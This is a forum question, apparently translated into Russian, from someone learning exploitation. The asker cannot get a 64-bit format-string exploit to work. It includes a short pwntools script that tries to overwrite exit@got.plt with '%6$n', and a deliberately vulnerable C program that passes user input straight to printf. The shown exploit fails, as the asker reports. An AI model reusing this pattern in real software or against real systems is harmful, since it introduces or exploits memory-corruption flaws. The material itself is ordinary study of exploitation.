как писать на адреса с использованием форматной строки на 64-битной - PullRequest
1 голос
/ 11 апреля 2020

Я сделал несколько 32-битных строковых эксплойтов и хотел перейти на 64-битную. Однако у меня проблема в том, что я не могу / не знаю, как написать на адрес на 64-битной.

У меня есть эксплойт x.py, который должен записать в exit@got.plt здесь:

from pwn import *

p = process("./vuln")
raw_input()
exit = 0x404028
p.sendline(p64(exit) + "%6$n")
sleep(1)
p.interactive()

Программа находится здесь (скомпилировано с -no-pie):

#include <stdio.h>

int main() {
  char username[512];
  char password[512];

  fgets(username, sizeof(username), stdin);
  printf(username);

  fgets(password, sizeof(password), stdin);
  printf(password);

  exit(1);
}

Когда я присоединяю gdb, проверяю значение exit@got.plt с помощью x/x <addr> и запускаю эксплойт, я получите segfault на printf_positional. И когда я снова проверяю значение exit@got.plt, адрес остается прежним. Может ли кто-нибудь помочь мне?

...